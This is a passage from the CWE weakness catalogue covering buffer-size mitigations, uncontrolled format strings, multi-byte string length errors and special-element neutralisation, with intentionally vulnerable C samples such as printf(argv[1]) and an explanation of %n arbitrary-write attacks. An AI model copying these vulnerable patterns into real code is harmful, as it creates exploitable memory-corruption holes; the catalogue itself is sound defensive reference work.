This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Operation****Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.131.3] [R.131.5] and Position-Independent Executables (PIE) [R.131.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Operation****Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.131.4] [R.131.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation****Compilation or Build Hardening**

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.131.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Architecture and Design

### Operation

#### Sandbox or Jail

##### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.










OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

### Relationships

Nature	Type	ID	Name	V	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699 1000	226
ChildOf		682	Incorrect Calculation	<b>699</b> <b>1000</b>	1060
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf		802	2010 Top 25 - Risky Resource Management	<b>800</b>	1228
ChildOf		865	2011 Top 25 - Risky Resource Management	<b>900</b>	1309
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf		974	SFP Secondary Cluster: Incorrect Buffer Length Computation	<b>888</b>	1381
<i>CanFollow</i>		467	<i>Use of sizeof() on a Pointer Type</i>	1000	784
<i>MemberOf</i>		884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Other length calculation error
CERT C Secure Coding	MEM35-C	Allocate sufficient memory for an object
CERT C++ Secure Coding	MEM35-CPP	Allocate sufficient memory for an object

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
47	Buffer Overflow via Parameter Expansion	
100	Overflow Buffers	

### References

- [REF-18] David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.
- Jason Lam. "Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size". SANS Software Security Institute. 2010-03-19. < <http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size> >.
- [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.
- [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.
- [REF-29] "PaX". < <http://en.wikipedia.org/wiki/PaX> >.



[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 20, "Integer Overflows" Page 620. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Incrementing Pointers Incorrectly", Page 401.. 1st Edition. Addison Wesley. 2006.

[REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

### Maintenance Notes

This is a broad category. Some examples include:

- simple math errors,
- incorrectly updating parallel counters,
- not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

## CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Weakness ID: 132 (Deprecated Weakness Base)

Status: Deprecated

### Description

#### Summary

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

## CWE-133: String Errors

Category ID: 133 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to the creation and modification of strings.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	19	Data Handling	<b>699</b>	18
ParentOf	<b>B</b>	134	Uncontrolled Format String	699	277
ParentOf	<b>B</b>	135	Incorrect Calculation of Multi-Byte String Length	<b>699</b>	282
ParentOf	<b>C</b>	251	Often Misused: String Management	699	445
ParentOf	<b>V</b>	597	Use of Wrong Operator in String Comparison	699	938

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
135	Format String Injection	

## CWE-134: Uncontrolled Format String

## Description

### Summary

The software uses externally-controlled format strings in printf-style functions, which can lead to buffer overflows or data representation problems.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Often*)
- C++ (*Often*)
- Perl (*Rarely*)
- Languages that support format strings

### Modes of Introduction

The programmer rarely intends for a format string to be user-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

### Common Consequences

#### Confidentiality

##### Read memory

Format string problems allow for information disclosure which can severely simplify exploitation of the program.

#### Integrity

##### Confidentiality

##### Availability

##### Execute unauthorized code or commands

Format string problems can result in the execution of arbitrary code.

### Likelihood of Exploit

Very High

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

#### Black Box

##### Limited

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

#### Automated Static Analysis - Binary / Bytecode

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary / Bytecode simple extractor – strings, ELF readers, etc.

## Manual Static Analysis - Binary / Bytecode

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

## Dynamic Analysis with automated results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

## Dynamic Analysis with manual results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

## Manual Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

## Automated Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Warning Flags

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Demonstrative Examples

### Example 1:

The following program prints a string provided as an argument.

#### C Example:

*Bad Code*

```
#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```

```
}
```

The example is exploitable, because of the call to `printf()` in the `printWrapper()` function. Note: The stack buffer was added to make exploitation more simple.

### Example 2:

The following code copies a command line argument into a buffer using `snprintf()`.

#### C Example:

*Bad Code*

```
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf,128,argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as `%x`, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the `%n` formatting directive, the attacker can write to the stack, causing `snprintf()` to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

### Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for `glibc`:

#### C Example:

*Bad Code*

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: `5 9 5 5` It is also possible to use half-writes (`%hn`) to accurately control arbitrary `DWORDS` in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

### Observed Examples

Reference	Description
CVE-2001-0717	format string in bad call to <code>syslog</code> function
CVE-2002-0573	format string in bad call to <code>syslog</code> function
CVE-2002-1788	format strings in NNTP server responses
CVE-2002-1825	format string in Perl program
CVE-2006-2480	Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a <code>.bmp</code> filename.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages

### Potential Mitigations

#### Requirements

Choose a language that is not subject to this flaw.

#### Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the `%n` operator in format strings. [R.134.1] [R.134.2]

#### Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

### Other Notes

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a

variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A \*printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.
















Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, he can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
PeerOf		123	Write-what-where Condition	1000	248
ChildOf		133	String Errors	699	277
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf		726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	<b>711</b>	1118
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ChildOf		865	2011 Top 25 - Risky Resource Management	<b>900</b>	1309
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
MemberOf		630	Weaknesses Examined by SAMATE	<b>630</b>	980
MemberOf		635	Weaknesses Used by NVD	<b>635</b>	983
MemberOf		884	CWE Cross-section	<b>884</b>	1319

### Research Gaps

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

### Affected Resources

- Memory

### Functional Areas

- logging
- errors
- general output

### Causal Nature

**Implicit**

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Format string vulnerability
7 Pernicious Kingdoms			Format String
CLASP			Format string problem
CERT C Secure Coding	FIO30-C	Exact	Exclude user input from format strings
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	FIO30-C		Exclude user input from format strings
WASC	6		Format String
CERT Java Secure Coding	IDS06-J		Exclude user input from format strings
CERT C++ Secure Coding	FIO30-CPP		Exclude user input from format strings
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
67	String Format Overflow in syslog()	
135	Format String Injection	

### White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that passes a format string to format string function where
  - a. the input data is part of the format string and
  - b. the format string is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated
2. incorrectly validated

### References

Steve Christey. "Format String Vulnerabilities in Perl Programs". < <http://www.securityfocus.com/archive/1/418460/30/0/threaded> >.

Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". < <http://www.ddj.com/dept/security/197002914> >.

Tim Newsham. "Format String Attacks". Guardent. September 2000. < <http://www.thenewsh.com/~newsham/format-string-attacks.pdf> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Format String Bugs" Page 147. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 6: Format String Problems." Page 109. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C Format Strings", Page 422.. 1st Edition. Addison Wesley. 2006.

## CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID: 135 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences



**Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

**Availability****Confidentiality****Read memory****DoS: crash / exit / restart****DoS: resource consumption (CPU)****DoS: resource consumption (memory)**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

**Confidentiality****Read memory**

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

**Enabling Factors for Exploitation**

There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.

The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.

Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.

**Demonstrative Examples**

The following example would be exploitable if any of the commented incorrect malloc calls were used.

**C Example:***Bad Code*

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
    wchar_t wideString[] = L"The spazzy orange tiger jumped " \
    "over the tawny jaguar.";
    wchar_t *newString;
    printf("Strlen() output: %d\nWcslen() output: %d\n",
    strlen(wideString), wcslen(wideString));
    /* Wrong because the number of chars in a string isn't related to its length in bytes //
    newString = (wchar_t *) malloc(strlen(wideString));
    */
    /* Wrong because wide characters aren't 1 byte long! //
    newString = (wchar_t *) malloc(wcslen(wideString));
    */
    /* Wrong because wcslen does not include the terminating null */
    newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
    /* correct! */
    newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));
```



```
/* ... */  
}
```

The output from the printf() statement would be:

Result

```
Strlen() output: 0  
Wcslen() output: 53
```

### Potential Mitigations

#### Implementation

#### Input Validation

Always verify the length of the string unit character.

#### Implementation

#### Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar\_t, etc.)

### Relationships

Nature	Type	ID	Name		Page
ChildOf	<b>C</b>	133	String Errors	<b>699</b>	277
ChildOf	<b>G</b>	682	Incorrect Calculation	<b>1000</b>	1060
ChildOf	<b>C</b>	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	<b>734</b>	1133
ChildOf	<b>C</b>	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf	<b>C</b>	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	<b>888</b>	1381
MemberOf	<b>V</b>	884	CWE Cross-section	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper string length checking
CERT C Secure Coding	STR33-C	Size wide character strings correctly
CERT Java Secure Coding	FIO10-J	Ensure the array is filled when using read() to fill an array
Software Fault Patterns	SFP10	Incorrect Buffer Length Computation

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Unicode and ANSI Buffer Size Mismatches" Page 153. 2nd Edition. Microsoft. 2002.

## CWE-136: Type Errors

Category ID: 136 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	<b>C</b>	19	Data Handling	<b>699</b>	18
ParentOf	<b>B</b>	681	Incorrect Conversion between Numeric Types	<b>699</b>	1058

## CWE-137: Representation Errors

Category ID: 137 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are introduced when inserting or converting data from one representation into another.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	699	18
ParentOf	C	138	Improper Neutralization of Special Elements	699	285
ParentOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	332
ParentOf	B	188	Reliance on Data/Memory Layout	699	359
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	699	420

## CWE-138: Improper Neutralization of Special Elements

Weakness ID: 138 (Weakness Class)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

#### Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Other

Execute unauthorized code or commands

Alter execution logic

DoS: crash / exit / restart

#### Observed Examples

Reference	Description
CVE-2000-0703	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences.
CVE-2001-0677	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

#### Potential Mitigations

##### Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a white list (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the white list. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	699	113
ChildOf		137	Representation Errors	699	284
ChildOf		707	Improper Enforcement of Message or Data Structure	1000	1107
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf		140	<i>Improper Neutralization of Delimiters</i>	699 1000	287
ParentOf		147	<i>Improper Neutralization of Input Terminators</i>	699 1000	297
ParentOf		148	<i>Improper Neutralization of Input Leaders</i>	699 1000	298
ParentOf		149	<i>Improper Neutralization of Quoting Syntax</i>	699 1000	299
ParentOf		150	<i>Improper Neutralization of Escape, Meta, or Control Sequences</i>	699 1000	301
ParentOf		151	<i>Improper Neutralization of Comment Delimiters</i>	699 1000	302
ParentOf		152	<i>Improper Neutralization of Macro Symbols</i>	699 1000	304
ParentOf		153	<i>Improper Neutralization of Substitution Characters</i>	699 1000	305
ParentOf		154	<i>Improper Neutralization of Variable Name Delimiters</i>	699 1000	307
ParentOf		155	<i>Improper Neutralization of Wildcards or Matching Symbols</i>	699 1000	308
ParentOf		156	<i>Improper Neutralization of Whitespace</i>	699 1000	309
ParentOf		157	<i>Failure to Sanitize Paired Delimiters</i>	699	311

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	V	158	Improper Neutralization of Null Byte or NUL Character	699	312
				1000	
ParentOf	G	159	Failure to Sanitize Special Element	699	314
				1000	
ParentOf	C	169	Technology-Specific Special Elements	699	327
ParentOf	B	464	Addition of Data Structure Sentinel	1000	781
ParentOf	G	790	Improper Filtering of Special Elements	1000	1213

### Relationship Notes

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

### Research Gaps

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Special Elements (Characters or Reserved Words)
PLOVER		Custom Special Character Injection
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
15	Command Delimiters	

## CWE-139: DEPRECATED: General Special Element Problems

Category ID: 139 (Deprecated Category) Status: Deprecated

### Description

#### Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

## CWE-140: Improper Neutralization of Delimiters

Weakness ID: 140 (Weakness Base) Status: Draft

### Description

#### Summary

The software does not neutralize or incorrectly neutralizes delimiters.

### Time of Introduction

- Implementation

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

**Implementation****Input Validation**

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.









**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b> <b>1000</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		141	<i>Improper Neutralization of Parameter/Argument Delimiters</i>	<b>699</b> <b>1000</b>	289
ParentOf		142	<i>Improper Neutralization of Value Delimiters</i>	<b>699</b> <b>1000</b>	290
ParentOf		143	<i>Improper Neutralization of Record Delimiters</i>	<b>699</b> <b>1000</b>	291
ParentOf		144	<i>Improper Neutralization of Line Delimiters</i>	<b>699</b> <b>1000</b>	293
ParentOf		145	<i>Improper Neutralization of Section Delimiters</i>	<b>699</b> <b>1000</b>	294
ParentOf		146	<i>Improper Neutralization of Expression/Command Delimiters</i>	<b>699</b> <b>1000</b>	296

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Delimiter Problems

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
15	Command Delimiters	

## CWE-141: Improper Neutralization of Parameter/Argument Delimiters

Weakness ID: 141 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.

#### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2003-0307	Attacker inserts field separator into input to specify admin privileges.

#### Potential Mitigations

Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

